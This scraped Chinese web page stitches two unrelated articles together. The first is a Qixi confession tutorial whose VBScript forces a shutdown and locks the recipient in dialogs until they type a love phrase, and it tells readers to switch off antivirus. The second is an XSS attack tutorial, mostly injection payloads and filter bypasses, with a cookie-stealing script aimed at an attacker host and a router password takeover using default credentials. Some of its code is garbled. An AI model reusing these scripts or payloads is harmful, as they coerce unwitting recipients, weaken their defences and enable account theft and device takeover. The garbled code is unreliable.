Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
腦小白也可以用程序追女神男神啦
七夕節(jié)到了,電腦小白或者新手程序員如何用程序表白呢?互吾小編今天教你一招,同志們,接招啦!
1、網頁
這是一個效果圖,可以看到,剛進入頁面是一個“七夕快樂”的字樣,當你輸入自己的名字就顯示“某某是個大帥比”什么的,都是你可以設置的。然后當你輸入一個你不認識的人的名字的時候,就會出現(xiàn)“不好意思,本站還沒有對某某的祝?!?,最后當你輸入你想表白的那個人的名字的時候就會出現(xiàn)“某某,你好,七夕快樂!”也許有人說,這話太撈了,表白都這么弱勢,情話你都可以自己改嘛?。『昧?,下面直接上代碼:
<html>
<head>
<script type="text/javascript">
function display(){
var names=["男神的名字","女神的名字"];
var name=document.getElementById("name").value;
var show=document.getElementById("show");
show.innerHTML="";
var flag=false;
while(true){
var colorCode="rgb("+Math.floor(Math.random()255)+","+Math.floor(Math.random()255)+","+Math.floor(Math.random()*255)+")";
if(colorCode!="rgb(255,255,255)"){
break;
}
}
show.style.color=colorCode;
for(var str in names){
if(names[str]==name){
flag=true;
}
}
if(name==""||name==null){
var text=document.createTextNode("請先輸入真實姓名!");
show.appendChild(text);
}else if(flag==true){
var text=document.createTextNode(name+",你好,祝你七夕快樂!");
show.appendChild(text);
}else if(name=="你的名字"){
var text=document.createTextNode(name+"是個大帥比!");
show.appendChild(text);
}else{
var text=document.createTextNode("不好意思,本站還沒有對"+name+"的祝福!");
show.appendChild(text);
}}
</script>
</head>
<body style="background:#EED5D2" >
<div align="center" style="background:yellow;width:300px;height:200px;margin:0 auto;box-shadow:3 3 3 blue">
<div style="width:100%;height:35%;" ></div>
<div aligin="center" style="font-family:仿宋;font-size:20px" >請輸入你的姓名:<input id="name" type="text"></input></div>
<input type="button" style="box-shadow:3 3 3 blue" value="確定" onclick="display()"></input>
</div>
<div id="show" align="center" style="height:500px;width:900px;;margin:0 auto;background:#F5FFFA;box-shadow:3 3 3 blue;font-size:20px;font-family:仿宋;vertical-align:middle;word-wrap:break-word;overflow:hidden;line-height:50px;line-height:500px">
<h1>七夕快樂!<h1>
</div>
</body>
</html>
上面“男神的名字”,“女神的名字”就是你要表白的對象,“你好,七夕快樂”那里就是你要說的情話……新建一個txt文件,也就是記事本文檔文件,然后打開把上面這些代碼復制粘貼進去,保存后關閉,然后把文件名改成“*.html”,也就是把后綴名改成html,就可以啦。然后雙擊點擊運行就可以了。
2、vbs表白
有人說上面那個程序沒意思,太不好玩了,那下面來一個強勢一點的。
執(zhí)行代碼后,會停留在一個頁面。必須要輸入“喜羊羊我愛你”,否則會一直停留在這個界面,并且在251秒之后自動關機。輸入正確內容之后,程序才會自動解除。
下面直接上代碼:
On Error Resume Next
Dim WSHshellA
MsgBox Chr(13) + Chr(13) + Chr(13) + "寶貝,你好,用這種方式和你說話實屬無賴,在你面前我不敢說,現(xiàn)在通過計算機來表達我想對你說的話。"
MsgBox Chr(13) + Chr(13) + Chr(13) + "你不想看完也不行,因為你關不掉這個軟件的"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一生數(shù)十載,緣起緣滅,情深情淺,且行且珍惜"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一年四季變幻莫測,花開花敗,不變的是我對你的真情"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一天早中晚,日出日落,日月輪回,循環(huán)著我對你的思念"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一生太長,我們慢慢地過"
MsgBox Chr(13) + Chr(13) + Chr(13) + "一天太短,我們用心地過"
MsgBox Chr(13) + Chr(13) + Chr(13) + "佛說前世五百次的回眸,換得今生的相識"
MsgBox Chr(13) + Chr(13) + Chr(13) + "遇見你,是我最美麗的意外"
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 251 -c ""寶貝我給你521秒的時間考慮下,你如果愛我就輸入喜羊羊我愛你,當251秒過后,電腦將自動關機,這不是病毒,對你沒有任何傷害,重啟后此程序就結束了"" ", 0, True
Dim a
Do While (a <> "喜羊羊我愛你")
a = InputBox("請你輸入:喜羊羊我愛你,快撒,求你說 ""喜羊羊我愛你"" ", "請輸入", "愛我嗎?", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "真的嗎?你說了你愛我?"
MsgBox Chr(13) + Chr(13) + Chr(13) + "我要馬上出現(xiàn)在你身邊,給我打個電話130********"
Dim WSHshell
Set WSHshell = wscript.CreateObject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a", 0, True
MsgBox Chr(13) + Chr(13) + Chr(13) + "寶寶是不是又帥啦??"
MsgBox Chr(13) + Chr(13) + Chr(13) + "寶貝等我,我馬上來??!
上面的文字部分都是你可以自己改的,但是請注意雙引號一定要用英文的,所以改的時候最好別去掉雙引號!!…… 新建一個txt文件,也就是記事本文檔文件,然后打開把上面這些代碼復制粘貼進去,保存后關閉,然后把文件名改成“*.vbs”,也就是把后綴名改成vbs,就可以啦。然后雙擊點擊運行就可以了。
但是這個程序太強勢,所以殺毒軟件都會屏蔽,鑒定為木馬,但是我賭兩包辣條的大血本,這絕對不是一個木馬!所以需要把殺毒軟件關掉,或者把這個程序添加為可信任軟件。
好啦,程序全部講完啦,你學會了嗎?快去表白吧!
但是還有些注意事項哦。
注意1:以上代碼的某些換行是必須的,所以換行最好都按照上面的規(guī)則來。
注意2:所有引號都是英文的雙引號哦,所以為了避免出錯,就不要改引號吧。
注意3:騰訊qq可能不能直接傳html和vbs的文件,因為騰訊的安全監(jiān)管很嚴很敏感,試試系統(tǒng)設置-安全設置-文件傳輸-安全級別低,設置為最低試試,或者用微信傳輸吧。
最近很多小伙伴們看了我的文章給我私信說能不能講講跨站腳本攻擊技術,今天就以本篇文章詳細講解一下黑客常用的攻擊手法"跨站腳本攻擊"。
一、 什么是跨站腳本攻擊?
官方定義:(Cross Site Scripting),為了不和(Cascading Style Sheets, )的縮寫混淆,故將跨站腳本攻擊簡稱為XSS。XSS是一種經常出現(xiàn)在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。
通俗理解:XSS是指惡意攻擊者利用網站沒有對用戶提交數(shù)據(jù)進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使別的用戶訪問都會執(zhí)行相應的嵌入代碼,從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
二、 XSS攻擊帶來的危害
這種漏洞(XSS)攻擊通常用于發(fā)動cookie竊取、惡意軟件傳播(蠕蟲攻擊),會話劫持,惡意重定向。在這種攻擊中,攻擊者將惡意JavaScript代碼注入到網站頁面中,這樣"受害"者的瀏覽器就會執(zhí)行攻擊者編寫的惡意腳本。這種漏洞容易找到,但很難修補。
具體危害如下:
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業(yè)數(shù)據(jù),包括讀取、篡改、添加、刪除企業(yè)敏感數(shù)據(jù)的能力
3、盜竊企業(yè)重要的具有商業(yè)價值的資料
4、非法轉賬
5、強制發(fā)送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發(fā)起攻擊
三、xss產生根源和攻擊條件
跨站點腳本漏洞的主要原因:是程序員對用戶的信任,開發(fā)人員輕松地認為用戶永遠不會試圖執(zhí)行什么出格的事情,所以他們創(chuàng)建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用制造出一種行之有效的XSS過濾器是一件比較困難的事情。但是這只是相對的,對用戶輸入數(shù)據(jù)的"編碼"和"過濾"在任何時候都是很重要的,我們必須采取一些針對性的手段對其進行防御。
實施XSS攻擊需要具備兩個條件:
1、需要向web頁面注入惡意代碼;
2、這些惡意代碼能夠被瀏覽器成功的執(zhí)行。
看一下下面這個例子:
這段代碼在舊版的IE8和IE8以下的版本都是可以被執(zhí)行的,火狐也能執(zhí)行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執(zhí)行將會看到控制里拋出異常:document is not defined (document是沒有定義的)
再來看一下面這段代碼:
相信很多程序員都覺得這個代碼很正常,其實這個代碼就存在一個反射型的XSS攻擊,假如輸入下面的地址:
也許您會覺得把ValidateRequest設置為true或者保持默認值就能高枕無憂了,其實這種情況還可以輸入下面的地址達到相同的攻擊效果:
http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x="
四、XSS攻擊的分類
XSS攻擊可以分成兩種類型:
1.非持久型攻擊
2.持久型攻擊
非持久型xss攻擊:顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執(zhí)行,從而達到攻擊目的。
持久型xss攻擊:持久型xss,會把攻擊者的數(shù)據(jù)存儲在服務器端,攻擊行為將伴隨著攻擊數(shù)據(jù)一直存在。
也可以分成三類:
1、反射型XSS攻擊
又稱為非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數(shù)據(jù)反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點擊)。
簡單例子:
正常發(fā)送消息:
http://www.test.com/message.php?send=Hello,World!
接收者將會接收信息并顯示Hello,Word
非正常發(fā)送消息:
http://www.test.com/message.php?send=<script>alert('foolish!')</script>!
接收者接收消息顯示的時候將會彈出警告窗口
2、存儲型XSS攻擊
又稱為持久型跨站點腳本,它一般發(fā)生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數(shù)據(jù)庫,當一個頁面被用戶打開的時候執(zhí)行。每當用戶打開瀏覽器,腳本執(zhí)行。持久的XSS相比非持久性XSS攻擊危害性更大,因為每當用戶打開頁面,查看內容時腳本將自動執(zhí)行。谷歌的orkut曾經就遭受到XSS。
簡單例子:
從名字就可了解到存儲型XSS攻擊就是將攻擊代碼存入數(shù)據(jù)庫中,然后客戶端打開時就執(zhí)行這些攻擊代碼。例如留言板
留言板表單中的表單域:<input type="text" name="content" value="這里是用戶填寫的數(shù)據(jù)">
正常操作:
用戶是提交相應留言信息;將數(shù)據(jù)存儲到數(shù)據(jù)庫;其他用戶訪問留言板,應用去數(shù)據(jù)并顯示。
非正常操作:
攻擊者在value填寫<script>alert('foolish!')</script>【或者html其他標簽(破壞樣式。。。)、一段攻擊型代碼】;
將數(shù)據(jù)存儲到數(shù)據(jù)庫中;
其他用戶取出數(shù)據(jù)顯示的時候,將會執(zhí)行這些攻擊性代碼
3、DOMBasedXSS(基于dom的跨站點腳本攻擊)
基于DOM的XSS有時也稱為type0XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)并顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節(jié)點形成的XSS,稱之為DOMBasedXSS。
前提是易受攻擊的網站有一個HTML頁面采用不安全的方式從document.location 或document.URL 或 document.referrer獲取數(shù)據(jù)(或者任何其他攻擊者可以修改的對象)。
簡單例子:
這個例子是個歡迎頁面,name是截取URL中get過來的name參數(shù)
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
將產生xss條件。讓我們看看為什么:受害者的瀏覽器接收到這個鏈接,發(fā)送HTTP請求到www.vulnerable.site并且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML為DOM,DOM包含一個對象叫document,document里面有個URL屬性,這個屬性里填充著當前頁面的URL。當解析器到達javascript代碼,它會執(zhí)行它并且修改你的HTML頁面。倘若代碼中引用了document.URL,那么,這部分字符串將會在解析時嵌入到HTML中,然后立即解析,同時,javascript代碼會找到(alert(…))并且在同一個頁面執(zhí)行它,這就產生了xss的條件。
五、跨站腳本漏洞利用的過程
XSS的主要目標是通過把攻擊者選擇的JavaScript、VBScript或者其它為瀏覽器所接受的腳本語言注入到(放進)某些Web應用程序之中。只要攻擊者可以將腳本植入有弱點的Web應用程序中的任何地方,瀏覽器就會認為這個腳本是來自該有弱點的Web應用程序,而非非出自攻擊者之手。
這樣的話,該腳本就能夠在這個有弱點的Web應用程序的域中運行了,并能進行下列活動:有權讀取那個有弱點的Web應用程序使用的Cookie;能夠看到該有弱點的Web應用程序提供的頁面的內容,甚至能將它們發(fā)送給黑客;改變有弱點的Web應用程序的外觀;回調運行有弱點的Web應用程序的服務器。
大體上,跨站點腳本攻擊可以分為三步進行:
HTML注入:我們將介紹把腳本注入到Web應用程序的各種可能的方法。所有HTML注入范例只是注入一個JavaScript彈出式的警告框:a_lert(1)。
干壞事。當受害者點擊了一個被注入了HTML代碼的頁面鏈接時攻擊者能作的各種的惡意事情。
誘捕受害者:如何強制或者誘使受害者執(zhí)行惡意JavaScript代碼。
HTML注入簡介
將HTML和(更為重要的)腳本代碼注入Web應用程序的方法簡直太多了。如果某個Web應用程序的HTTP響應中"照搬"了在HTTP請求中輸入的內容,例如尖括號、圓括號、句號、等號等,那么說明這個Web應用程序和域具有HTML注入漏洞,并且該漏洞十有八九可以用于XSS。
本節(jié)將為讀者介紹最常見的HTML注入方法,但是無法包括所有方法,因為這些方法是在太多了。對于大多數(shù)小型至中型的網站來說,這些技術很可能仍然奏效。只要有耐心,那么您或許也能夠使用其中的一種技術成功應用于一個大型Web站點。
下面我們將分門別類的介紹各種注入方法。
1、傳統(tǒng)的反射式和存儲式HTML注入
傳統(tǒng)的XSS攻擊是一種反射式的HTML注入攻擊,借此,一個Web應用程序接受在HTTP請求中的用戶輸入。該Web應用程序會返回一個HTTP響應,其主體中將包含原封不動的用戶輸入。如果該服務器的響應跟用戶的原始輸入完全一致,那么這些用戶輸入就會被瀏覽器當作有效的HTML、VBScript或者JavaScript進行解釋??紤]下列的服務器端的PHP代碼:
展示了這段代碼放置到http://publicpages.daxue.edu/~someuser/MyPhp.php上后,客戶端看到的頁面內容。
一個簡單的PHP腳本,用以接收用戶輸入(MyPhp.php)
當用戶點擊"提交查詢"按鈕時,就會生成下列GET請求:
http://public-pages.daxue.edu/~someuser/MyPhp.php?input=hahaha
這個PHP應用程序看到用戶輸入的"hahaha"后,將響應一個頁面,如圖所示。
用戶輸入"hahaha"后MyPhp.php回復的響應
下面顯示的是上圖中看到的頁面的HTML 源代碼,為醒目起見用戶輸入的內容這里以藍色字體顯示。
您輸入的內容為: 'hahaha'.
注意,實際上這里用戶可以輸入任何東西,例如〈 script 〉 a_lert( 1 )〈 / script 〉、〈 body onload = a_lert( 1 ) 〉、〈 img src = x onerror = a_lert( 1 ) 〉 或別的東西來把JavaScript代碼注入到該頁面。如果輸入 的話,將向服務器發(fā)送下列GET請求:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
如前所述,這個PHP應用程序只是把用戶輸入放到返回的響應頁面中。這時候瀏覽器會把這些用戶輸入的內容當作JavaScript指令,同時認為該腳本來自服務器,這可真是應了那句老話"拿著雞毛當令箭"了,所以瀏覽器就會執(zhí)行這些JavaScript代碼。下圖展示了用戶看到的樣子。
上圖 用戶輸入" "后MyPhp.php回復的響應
[NextPage]上圖中顯示的頁面的源代碼如下所示,其中用戶輸入用藍色字體表示。
您輸入的內容為: ' '.
這是將 注入http://public-pages.daxue.edu/~someuser/MyPhp.php得到的結果。這個例子是一種典型的反射式的HTML注入,因為用戶在HTTP請求中發(fā)送JavaScript代碼,同時Web應用程序立即響應(反射回)一個完全相同的JavaScript代碼。只要用戶單擊了下列鏈接,這個腳本就會執(zhí)行:
http://publicpages.daxue.edu/~someuser/MyPhp.php?input=
從攻擊者的角度來看,利用注入的ML代碼讓惡意的web頁面完成單擊或者指定次數(shù)的點擊是非常重要的。假設前面的PHP應用程序只接受POST請求,而不接受GET,如下所示:
在這種情況下,攻擊者無法像上面的GET請求那樣直接通過誘騙受害者點擊一個鏈接來注入HTML代碼;現(xiàn)在,他們必須采取一些額外的步驟。為此,攻擊者可以創(chuàng)建下列HTML頁面:
當用戶單擊了指向上述HTML頁面的鏈接時,就會對http://public-pages.daxue.edu/~someuser/MyPhp.php進行HTML注入。當然,攻擊者也能利用HTML注入干別的壞事,而不僅僅象征性地調用一個JavaScript的彈出窗口。
"第二步:做壞事"部分將解釋攻擊者除了彈出一個窗口外還能做些什么。
存儲式HTML注入跟反射式HTML注入非常相似,唯一區(qū)別在于攻擊者將腳本植入Web應用程序后,這些腳本會被Web應用程序存儲到一個可以檢索的地方。例如,對于允許用戶張貼和閱讀消息的網絡論壇,攻擊者可以在張貼消息時注入HTML代碼,然后其它用戶閱讀這則含有腳本的消息時,其中的腳本就會執(zhí)行。
2、定位存儲式和反射式HTML注入點
為了尋找存儲式和反射式HTML注入點,可以嘗試在所有表單輸入以及GET或者POST請求的所有參數(shù)中注入腳本。我們要假設參數(shù)/值對中的值都可能有漏洞。甚至嘗試在新生成的參數(shù)中注入HTML代碼,如下所示:
〈 script 〉 a_lert ( ' parameter ' )= 不起作用,因為這些測試字符串并不出現(xiàn)在響應的HTML主體區(qū)。舉例來說,假如向http://search.engine.com/search?p= 發(fā)送的這個請求返回的響應中,其預填充表單字段內是我們的HTML注入字符串,如:
遺憾的是,腳本標簽會被作為用于表單輸入字段的字符串,所以無法執(zhí)行。相反,嘗試http://search.engine.com/search?p="> 的話,會得到如下所示的HTML應答:
〈 form input='text' name='p' value='〈 ,那么保不住攻擊者可以注入下列內容:
〈 /title 〉〈script 〉 a_lert( 1 ) 〈 /script 〉
這樣一來就擺脫了title標簽。USERINPUT3被放在一個式樣標簽中,任何人都可以在IE中設置USERINPUT3成下面的樣子:
black; background: url( ' javascript:a_lert( 1 ) ' );
于是他就能夠在Firefox使用它了:
1: ( a_lert( 1 ) )
同樣的,有時候用戶輸入會作為其它的標簽的一部分出現(xiàn)在式樣參數(shù)中,如下所示:
如果您可以將USERINPUT3設為下面的值,那么就能在IE中運行JavaScript了:
javascript : a_lert(1)
或者對于Visual Basic愛好者,可以這樣使用:
vbscript:MsgBox(1)
Firefox不接受帶有JavaScript:協(xié)議處理程序的background:url()。然而,F(xiàn)irefox允許JavaScript作為表達式來執(zhí)行,在Firefox中將USERINPUT3A設為下列值:
); 1:(a_lert(1)
USERINPUT4可以直接利用,只要將USERPINUT4設為:
';a_lert(1);
USERINPUT5被深深嵌入到JavaScript內部。為了插入(確保會執(zhí)行的)a_lert(1)函數(shù),您必須把a_lert(1)放到所有代碼塊之外,并保證JavaScript代碼的前前后后都是合法的,如下所示:
')){}a_lert(1);if(0)
A_lert(1)之前的文本完成了原先的if語句,因此能確保a_lert(1)函數(shù)總是被執(zhí)行。a_lert(1)之后的文本創(chuàng)建了一個if語句用于剩余代碼塊,所以腳本標簽之間的全部代碼都是合法的JavaScript代碼。如果不這樣,JavaScript就會因為語法錯誤而無法解釋執(zhí)行。
您可以使用一些詭計來把JavaScript注入到USERINPUT6中,例如,可以使用下面的方法:
'> < script="">a_lert(1)< cript="">
或者,如果不允許使用尖括號,則使用一個JavaScript事件處理程序,例如onclick事件處理程序,如下所示:
' onclick='a_lert(1)
USERINPUT7 還可以是這樣:
' >< script="">a_lert(1)< cript="">
或者:
' style='x: ( a_lert ( 1 ) )
甚至更簡單一些:
javascript: a_lert( 1 )
對于USERINPUT7的前兩條利用方法能保證腳本在裝入頁面時執(zhí)行,最后一種方法要求用戶單擊鏈接。您可以把它們都試一遍,看看是不是在某些情況下有些字符和字符串是不允許的。
USERINPUT8也面臨類似的HTML注入字符串。下面是使用事件處理程序的最佳方式:
notThere' onerror='a_lert( 1 )
XSS防御方法通常是對具有潛在惡意性的字符進行轉義或者編碼。舉例來說,如果用戶輸入 到一個文本字段,服務器可能以下列轉義后的字符串作為響應:
[NextPage]
根據(jù)轉義后的字符串的所在位置,這些字符串將以本來面目出現(xiàn)并且不會執(zhí)行。轉義方法比較復雜,所以將在后面的對抗措施中加以詳細討論。大多數(shù)轉義例程不是忘記對具有潛在惡意性的字符和字符串進行轉義,就是使用了錯誤的編碼方法進行換碼。例如USERINPUT9,其事件處理程序把HTML實體編碼為ASCII,所以任何人可以用下列兩個字符串上演相同的攻擊:
x'); a_lert ( 1 );
以及:x'); a_lert( 1 )
最后,USERINPUT10可以用事件處理程序利用,并突破輸入標簽,例子如下所示:
x onclick= a_lert ( 1 )
這個例子說明,用戶提供的字符串可以放到HTTP應答中的任何地方,看來真是一切皆有可能呀!
如果您在任何前面的實例中成功進行了HTML注入,那么該HTML注入就可用于在那個域上的任何地方的XSS。您可以用多種不同的方法來向Web應用程序注入JavaScript。如果你的嘗試曾經導致頁面格式被破壞,諸如截斷頁面、顯示了除您注入以外的腳本,那么很可能就是找到了一個XSS漏洞。
3、重定向器中的反射式HTML注入
HTML注入的另一個大舞臺是重定向器。有些重定向器允許用戶重定向到任何URL。 遺憾的是,JavaScript:a_lert(1)是一個合法的URL。許多重定向器會對URL進行解析,以確定重定向到那里是否安全。這些解析器以及他們的程序員并不總是人們想象的那么聰明,所以像下面的URL:
javascript://www.anywhere.com/%0da_lert( 1 )
以及這個:
javascript://http://www.trustedsite.com/trustedDirectory/%0da_lert( 1 )
可能被接受。在上面的例子中,任何字符串都可以放置在JavaScript注解所用的雙斜杠之間以及URL編碼的換行符(%0d)之間。
4、移動式應用中的HTML注入
有些流行的Web應用程序被移植到移動通信領域。這些移動式應用一般具有相同的功能,但是安全特性更差,并且仍然可以通過諸如IE 以及Firefox之類的瀏覽器進行訪問。 因此,它們是HTML注入攻擊以及跨站請求偽造的理想攻擊目標。
通常情況下,移動式應用作為主要的Web應用程序運行在相同的域上,因此移動式應用中的任何HTML注入都能夠訪問整個域,包括運行在該域上的主要的Web應用程序或者其它的Web應用程序。
5、在Ajax響應以及錯誤信息中的HTML注入
并非所有HTTP應答都會顯示給用戶。類似AJAX響應以及超文本傳輸協(xié)議(http)錯誤消息這些頁面通常會被開發(fā)人員所忽視。開發(fā)人員可能沒有考慮為AJAX響應提供HTML注入保護,因為這些請求通常不是由用戶直接使用的。然而,攻擊者可以用先前的代碼片斷模仿AJAX的GET以及POST請求。
同樣的,超文本傳輸協(xié)議(http)錯誤響應,諸如HTTP 404(Not Found)、HTTP 502(Server Error)等等,通常也會被開發(fā)人員所忽略。開發(fā)人員傾向于假定一切都是HTTP 200(OK)。您可以嘗試觸發(fā)其它的響應,而非僅僅HTTP 200,然后試著注入腳本。
6、使用UTF-7編碼進行HTML注入
如果用戶的IE自動選擇編碼集,那么攻擊者就能規(guī)避大多數(shù)HTML注入預防措施。就像前面提到的那樣,HTML注入的預防措施一般依賴于對潛在的有害字符進行轉義處理。然而,UTF-7編碼技術使用了無法正常轉義的通用字符,而這些通用字符有時無法被某些Web應用程序進行換碼。 的UTF-7轉義版本將是下面的樣子:
+ADw-script+AD4-a_lert(1)+ADw-/script+AD4-
注意,這是一種不常見的攻擊,因為用戶一般不會打開自動選擇編碼技術選項。當然,也存在其他的利用字符編碼可變長度的UTF編碼攻擊技術,但是這要求對UTF有著深入廣泛的理解,所以它超出了本文的討論范圍。然而,這個問題說明其它編碼(例如MIME類型)的疏漏也是能引起HTML注入的。
7、利用MIME 類型不匹配來進行HTML注入
IE具有許多令人驚訝的未公開特性,例如,IE7 以及之前的版本嘗試加載一個圖像或者其它的非HTML的響應并且失敗時,它會將該響應作為HTML對待。為了弄明白這個情況,我們可以創(chuàng)建一個文本文件,并包含下列內容:
之后,將其保存為alert.jpg,然后在IE的URL地址欄中或一個iframe中裝載的這個"圖像",這就會導致這里的JavaScript被執(zhí)行。
注意,如果該文件是從一個圖像標簽加載的話,它就不會作為腳本執(zhí)行了。
一般說來,當您試圖上載這樣的一個文件到一個圖像托管服務時,該服務將拒絕這個文件,因為它根本就不是一個圖像。但是圖像托管服務通常情況下會忽視文件的擴展名,而只通過文件的幻數(shù)(開始幾個字節(jié))來確定文件類型。
因此,攻擊者可以避開它,方法是用GIF注釋中的HTML來創(chuàng)建一個GIF圖像,然后將這個GIF保存為.jpg文件擴展名的文件。下面是一個單像素的GIF文件,如下所示:
00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........|
00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!.. .|
00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;|
將其命名為test.jpg,并在IE中加載它,這會導致執(zhí)行這段JavaScript。這也是注入Flash跨域政策的一種好方法。只要把Flash安全策略的XML內容放入GIF注釋,并保證這個GIF文件不包含擴展的ASCII字符或者字節(jié)NULL即可。您還可以把HTML注入到未壓縮的圖像文件(諸如XPM以及BMP文件)的圖像數(shù)據(jù)部分,而不是注解中。
8、使用Flash進行HTML注入
在大多數(shù)HTML注入情形中,攻擊者可以注入任意的HTML。舉例來說,攻擊可以注入一個對象和/或嵌入一個標簽來加載該域上的Flash應用程序。 下面是一個例子:
這里的HTML有些繁瑣,但是它將JavaScript應用程序具有的控制權賦予一個Flash應用程序,例如(經過ExternalInterface類)讀取Cookie、(經過ExternalInterface類)改變web頁面外觀、(經過XML類)讀取用戶私人數(shù)據(jù)以及(經過XML類)以受害者的名義建立HTTP請求。
然而,F(xiàn)lash應用程序有時候會提供更多的功能。例如,flash應用程序可以通過Socket類創(chuàng)建原始的套按字連接。這允許攻擊者構造他們的完整的HTTP數(shù)據(jù)包(包括通過ExternalInterface類竊取Cookie)或者連接到電腦允許的其它端口上。
注意,Socket連接只能建立到達惡意腳本所源自的域的連接,除非攻擊者為完成攻擊還反射了一個不安全的跨域策略文件。
有些開發(fā)人員通過把響應的MIME類型設置為text/plain或者除text /html以外的任何東西來防止AJAX響應被注入HTML。HTML注入將無法進行,因為瀏覽器不會把響應解釋為HTML。然而,F(xiàn)lash并不關心跨域策略文件是哪種MIME類型,所以攻擊者有可能使用AJAX響應來反射一個不安全的跨域策略文件。
這允許惡意的Flash應用程序以受害者名義向有弱點的Web應用程序發(fā)送請求,讀取該域上的任意的頁面,并創(chuàng)建到達該域的套按字連接。這種類型的攻擊的威脅相對較弱,因為惡意的Flash應用程序不能竊取Cookie(但是它仍然可以以用戶的名義來完成任何動作),而且它不能在受害的用戶前模仿成應用程序,除非惡意的Flash應用程序將用戶重定向到一個攻擊者控制下的域。
然而,到目前為止,HTML注入所能做的最邪惡的事情還是在受害用戶目前把自己裝扮成Web應用程序,當然,通過其它方法也可以達到此目的,比如反射一個不安全的跨域策略文件,并使用ActionScript的XML類發(fā)送HTTP的GET和POST請求并且讀取響應。 在下一節(jié)中,我們描述攻擊是如何作惡的。
六、XSS攻擊實例分析
例1、簡單XSS攻擊
留言類,簡單注入javascript
有個表單域:<input type="text" name="content" value="這里是用戶填寫的數(shù)據(jù)">
1、假若用戶填寫數(shù)據(jù)為:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
2、提交后將會彈出一個foolish警告窗口,接著將數(shù)據(jù)存入數(shù)據(jù)庫
3、等到別的客戶端請求這個留言的時候,將數(shù)據(jù)取出顯示留言時將執(zhí)行攻擊代碼,將會顯示一個foolish警告窗口。
【將數(shù)據(jù)改成html標簽進行攻擊,則會將原本的樣式打亂?!?/p>
例2、盜取cookie
1、網站所在域名為www.test88.com、攻擊者控制的主機www.linuxtest.com
2、test88.com中的表單,xss.html
3、惡意攻擊者插入相應代碼
4、數(shù)據(jù)(攻擊代碼)插入數(shù)據(jù)庫
5、攻擊者控制的主機中設置接收盜取的cookie
開始模擬測試
1、test88.com中設置生成sessionID代碼
2、客戶端訪問上面代碼并生成自己的sessionID
3、客戶端訪問xss.html
#下面為模擬被攻擊后取出數(shù)據(jù)的xss.html代碼(顯示數(shù)據(jù))
<!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss攻擊</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8 <form action="./test99.php" method="post">
9 留言:<input type="text" name="content" value=""><br/>
10 <input type="submit" name="" value='提交'>
11 </form>
12 <br/>留言記錄:<br/>
13 <script>
14 var Str=document.cookie; //獲取cookie
15 var a =document.createElement('a'); //創(chuàng)建a標簽
16 a.+Str; //攻擊者主機
17 a.innerHTML="<img src='./aa.jpg'>"; //掩護圖片
18 document.body.appendChild(a); //將標簽添加到頁面中
19 </script>
20 </body>
21 </html>
4、客戶端不小心點擊到圖片,sessionID將被盜
# vi xss.txt
【當然這僅僅只是一個很簡單的攻擊,只要將數(shù)據(jù)過濾就可以避免這個攻擊了,這里只是讓大家了解XSS是如何進行攻擊的。】
例3、滲透路由器
對于處于內網中的用戶,我們可以利用XSS來更改路由器密碼。我們可以借助默認的密碼來登陸路由器,比如URL:,其實很多路由器都是使用默認密碼,我這里這臺也是如此,直接以admin作為用戶名和密碼。首先我們先利用Firefox插件Live HTTP headers獲取請求頭,如圖所示:
因此我們可以在head代碼模塊中寫入以下語句:
<script src="http://localhost/1.js"></script>
其中1.js源碼如下:
window.open("http://admin:admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=admin&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=password&Save=%B1%A3+%B4%E6");
下面我們試著用登陸,結果如圖所示:
可見密碼已經修改成功!
七、如何防御"跨站腳本攻擊"
防御XSS有一個原則:
寧死也不讓數(shù)據(jù)變成可執(zhí)行的代碼,不信任任何用戶的數(shù)據(jù),嚴格區(qū)分數(shù)據(jù)和代碼
